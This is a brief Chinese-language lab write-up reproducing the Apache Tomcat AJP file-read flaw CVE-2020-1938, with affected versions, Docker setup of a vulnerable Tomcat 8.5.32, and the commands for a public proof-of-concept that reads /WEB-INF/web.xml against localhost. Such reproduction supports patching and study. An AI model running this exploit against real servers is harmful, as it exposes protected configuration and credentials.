Apache Tomcat文件包含漏洞复现（CVE-2020-1938）

前言影响编号 环境搭建漏洞复现参考文章

前言

影响

Apache Tomcat = 6 7 <= Apache Tomcat <7.0.100 8 <= Apache Tomcat <8.5.51 9 <= Apache Tomcat <9.0.31

编号

CNVD-2020-10487 CVE-2020-1938

环境搭建

启动docker

systemctl start docker

查找容器

docker search tomcat-8.5.32

下载容器

docker pull duonghuuphuc/tomcat-8.5.32

启动容器

docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32

查看容器

docker ps

访问

http://127.0.0.1:8080/

漏洞复现

poc下载地址

https://github.com/hypn0s/AJPy git clone https://github.com/hypn0s/AJPy.git cd AJPy python tomcat.py read_file --webapp=manager /WEB-INF/web.xml 127.0.0.1 python tomcat.py version 127.0.0.1

参考文章

https://github.com/hypn0s/AJPy https://www.liuyixiang.com/post/109123.html